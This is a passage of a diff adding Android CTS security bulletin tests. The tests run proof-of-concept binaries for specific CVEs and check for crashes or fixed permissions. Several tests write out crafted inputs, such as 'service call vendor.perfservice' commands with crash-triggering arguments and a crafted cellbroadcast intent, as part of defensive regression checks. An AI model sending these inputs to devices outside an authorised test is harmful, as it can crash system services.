+ * b/143155861
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-03")
+ @Test
+ public void testPocCVE_2020_0039() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0039", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
new file mode 100644
index 0000000..6596c74
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.compatibility.common.util.CrashUtils;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0073 extends SecurityTestCase {
+
+ /**
+ * b/147309942
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-04")
+ @Test
+ public void testPocCVE_2020_0073() throws Exception {
+ pocPusher.only64();
+ String binaryName = "CVE-2020-0073";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
new file mode 100644
index 0000000..43632ec
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0226 extends SecurityTestCase {
+
+ /**
+ * b/150226994
+ * Vulnerability Behaviour: SIGSEGV in surfaceflinger
+ */
+ @SecurityTest(minPatchLevel = "2020-07")
+ @Test
+ public void testPocCVE_2020_0226() throws Exception {
+ String processPatternStrings[] = {"surfaceflinger"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0226", null, getDevice(),
+ processPatternStrings);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
new file mode 100644
index 0000000..2d5237a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0381 extends SecurityTestCase {
+
+ /**
+ * b/150159669
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-09")
+ @Test
+ public void testPocCVE_2020_0381() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.media"));
+ String inputFiles[] = {"cve_2020_0381.xmf", "cve_2020_0381.info"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0381",
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
new file mode 100644
index 0000000..2e1ca03
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
@@ -0,0 +1,42 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import static org.junit.Assume.assumeFalse;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0383 extends SecurityTestCase {
+
+ /**
+ * b/150160279
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-09")
+ @Test
+ public void testPocCVE_2020_0383() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.media"));
+ String inputFiles[] = {"cve_2020_0383.xmf", "cve_2020_0383.info"};
+ String binaryName = "CVE-2020-0383";
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(binaryName,
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
new file mode 100644
index 0000000..2f7b5d9
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0384 extends SecurityTestCase {
+
+ /**
+ * b/150159906
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-09")
+ @Test
+ public void testPocCVE_2020_0384() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.media"));
+ String inputFiles[] = {"cve_2020_0384.xmf", "cve_2020_0384.info"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0384",
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
new file mode 100644
index 0000000..e7aefeb
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0385 extends SecurityTestCase {
+
+ /**
+ * b/150160041
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-09")
+ @Test
+ public void testPocCVE_2020_0385() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.media"));
+ String inputFiles[] = {"cve_2020_0385.xmf", "cve_2020_0385.info"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0385",
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
new file mode 100644
index 0000000..5248019
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
@@ -0,0 +1,36 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0313 extends SecurityTestCase {
+
+ /**
+ * b/170968514
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2021-01")
+ @Test
+ public void testPocCVE_2021_0313() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0313", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
new file mode 100644
index 0000000..3d3f4a8
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0330 extends SecurityTestCase {
+
+ /**
+ * b/170732441
+ * Vulnerability Behaviour: SIGSEGV in storaged
+ */
+ @SecurityTest(minPatchLevel = "2021-02")
+ @Test
+ public void testPocCVE_2021_0330() throws Exception {
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0330", getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns("storaged");
+ testConfig.config.checkMinAddress(false);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0393.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0393.java
new file mode 100644
index 0000000..2160aca
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0393.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0393 extends SecurityTestCase {
+
+ /**
+ * b/168041375
+ * Vulnerability Behavior: SIGSEGV in pacrunner
+ */
+ @SecurityTest(minPatchLevel = "2021-03")
+ @Test
+ public void testPocCVE_2021_0393() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runProxyAutoConfig("cve_2021_0393", getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0396.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0396.java
new file mode 100644
index 0000000..3df46a7
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0396.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import static org.junit.Assert.assertTrue;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0396 extends SecurityTestCase {
+
+ /**
+ * b/160610106
+ * Vulnerability Behaviour: SIGSEGV in pacrunner
+ */
+ @SecurityTest(minPatchLevel = "2021-03")
+ @Test
+ public void testPocCVE_2021_0396() throws Exception {
+ AdbUtils.runProxyAutoConfig("cve_2021_0396", getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
new file mode 100644
index 0000000..3c6d4b3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
@@ -0,0 +1,23 @@
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_01 extends SecurityTestCase {
+ /**
+ * CVE-2019-14002
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testPocCVE_2019_14002() throws Exception {
+ String result =
+ AdbUtils.runCommandLine(
+ "dumpsys package com.qualcomm.qti.callenhancement", getDevice());
+ assertNotMatchesMultiLine("READ_EXTERNAL_STORAGE.*?WRITE_EXTERNAL_STORAGE", result);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
new file mode 100644
index 0000000..bd8f3cd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_06 extends SecurityTestCase {
+
+ /**
+ * CVE-2020-3635
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3635() throws Exception {
+ String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
+ if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "service call vendor.perfservice 4 i32 1 i64 4702394920265069920", getDevice());
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine(
+ "Fatal signal 11 \\(SIGSEGV\\).*?>>> /system/bin/perfservice <<<", logcatOut);
+ }
+ }
+
+ /**
+ * CVE-2020-3626
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3626() throws Exception {
+ String isApplicable =
+ AdbUtils.runCommandLine("pm list package com.qualcomm.qti.lpa", getDevice());
+ if (!isApplicable.isEmpty()) {
+ String result =
+ AdbUtils.runCommandLine("dumpsys package com.qualcomm.qti.lpa", getDevice());
+ assertTrue(result.contains("com.qti.permission.USE_UIM_LPA_SERVICE"));
+ }
+ }
+
+ /**
+ * CVE-2020-3628
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3628() throws Exception {
+ String result = AdbUtils.runCommandLine(
+ "pm list package com.qualcomm.qti.logkit",getDevice());
+ assertFalse(result.contains("com.qualcomm.qti.logkit"));
+ }
+
+ /**
+ * CVE-2020-3676
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3676() throws Exception {
+ String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
+ if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "service call vendor.perfservice 4 i32 2442302356 i64 -2", getDevice());
+ AdbUtils.assertNoCrashes(getDevice(), "perfservice");
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
new file mode 100644
index 0000000..627f098
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
@@ -0,0 +1,47 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_11 extends SecurityTestCase {
+
+ /**
+ * b/162741784
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-11")
+ public void testPocCVE_2020_0437() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.cellbroadcast"));
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "am broadcast " +
+ "-a com.android.cellbroadcastreceiver.intent.action.MARK_AS_READ " +
+ "-n com.android.cellbroadcastreceiver/.CellBroadcastReceiver " +
+ "--el com.android.cellbroadcastreceiver.intent.extra.ID 1596185475000",
+ getDevice());
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("CellBroadcastContentProvider: failed to mark broadcast read", logcat);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
new file mode 100644
index 0000000..711949a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc21_01 extends SecurityTestCase {
+
+ /**
+ * b/168211968
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2021-01")
+ public void testPocCVE_2021_0318() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-0318", getDevice(), 300);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java b/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
new file mode 100644
index 0000000..07f45db
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Set;
+import java.io.File;
+import java.io.FileNotFoundException;
+
+import org.junit.runner.Description;
+import org.junit.rules.TestWatcher;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.IAbi;
+
+import static org.junit.Assume.*;
+import static org.junit.Assert.*;
+
+public class PocPusher extends TestWatcher {
+ private ITestDevice device = null;
+ private CompatibilityBuildHelper buildHelper = null;
+ private IAbi abi = null;
+
+ private Set<String> filesToCleanup = new HashSet();
+ public boolean bitness32 = true;
+ public boolean bitness64 = true;
+ public boolean appendBitness = true;
+ public boolean cleanup = true;
+
+ @Override
+ protected void starting(Description d) {
+ bothBitness();
+ appendBitness = true;
+ cleanup = true;
+ }
+
+ @Override
+ protected void finished(Description d) {
+ for (Iterator<String> it = filesToCleanup.iterator(); it.hasNext();) {
+ String file = it.next();
+ try {
+ CLog.i("Cleaning up %s", file);
+ device.deleteFile(file);
+ } catch (DeviceNotAvailableException e) {
+ CLog.e("Device unavailable when cleaning up %s", file);
+ continue; // try to remove next time
+ }
+ it.remove();
+ }
+ }
+
+ public PocPusher setDevice(ITestDevice device) {
+ this.device = device;
+ return this;
+ }
+
+ public PocPusher setAbi(IAbi abi) {
+ this.abi = abi;
+ return this;
+ }
+
+ public PocPusher setBuild(IBuildInfo buildInfo) {
+ buildHelper = new CompatibilityBuildHelper(buildInfo);
+ return this;
+ }
+
+ public PocPusher appendBitness(boolean append) {
+ this.appendBitness = append;
+ return this;
+ }
+
+ public PocPusher cleanup(boolean cleanup) {
+ this.cleanup = cleanup;
+ return this;
+ }
+
+ public PocPusher only32() {
+ bitness32 = true;
+ bitness64 = false;
+ return this;
+ }
+
+ public PocPusher only64() {
+ bitness32 = false;
+ bitness64 = true;
+ return this;
+ }
+
+ public PocPusher bothBitness() {
+ bitness32 = true;
+ bitness64 = true;
+ return this;
+ }
+
+ public void pushFile(String testFile, String remoteFile)
+ throws FileNotFoundException, DeviceNotAvailableException {
+ if (appendBitness) {
+ // if neither 32 or 64, nothing would ever be pushed.
+ assertTrue("bitness must be 32, 64, or both.", bitness32 || bitness64);
+
+ String bitness = SecurityTestCase.getAbi(device).getBitness().trim();
+
+ // 32-bit doesn't have a 64-bit compatibility layer; skipping.
+ assumeFalse(bitness.equals("32") && !bitness32);
+
+ // push the 32-bit file on 64-bit device if a 64-bit file doesn't exist.
+ if (bitness.equals("64") && !bitness64) {
+ bitness = "32";
+ CLog.i("Pushing a 32-bit file onto a 64-bit device.");
+ }
+ testFile += bitness;
+ }
+ CLog.i("Pushing local: %s to remote: %s", testFile.toString(), remoteFile);
+ File localFile = buildHelper.getTestFile(testFile);
+ device.pushFile(localFile, remoteFile);
+ if (cleanup) {
+ filesToCleanup.add(remoteFile);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index ec89b1672..64e9633 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -62,10 +62,12 @@
private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
@Rule public TestName testName = new TestName();
+ @Rule public PocPusher pocPusher = new PocPusher();
private static Map<ITestDevice, IBuildInfo> sBuildInfo = new HashMap<>();
private static Map<ITestDevice, IAbi> sAbi = new HashMap<>();
private static Map<ITestDevice, String> sTestName = new HashMap<>();
+ private static Map<ITestDevice, PocPusher> sPocPusher = new HashMap<>();
/**
* Waits for device to be online, marks the most recent boottime of the device
@@ -82,6 +84,9 @@
sBuildInfo.put(getDevice(), getBuild());
sAbi.put(getDevice(), getAbi());
sTestName.put(getDevice(), testName.getMethodName());
+
+ pocPusher.setDevice(getDevice()).setBuild(getBuild()).setAbi(getAbi());
+ sPocPusher.put(getDevice(), pocPusher);
}
/**
@@ -135,6 +140,10 @@
return sTestName.get(device);
}
+ public static PocPusher getPocPusher(ITestDevice device) {
+ return sPocPusher.get(device);
+ }
+
// TODO convert existing assertMatches*() to RegexUtils.assertMatches*()
// b/123237827
@Deprecated
@@ -222,7 +231,22 @@
* Check if a driver is present on a machine.
*/
protected boolean containsDriver(ITestDevice device, String driver) throws Exception {
- boolean containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
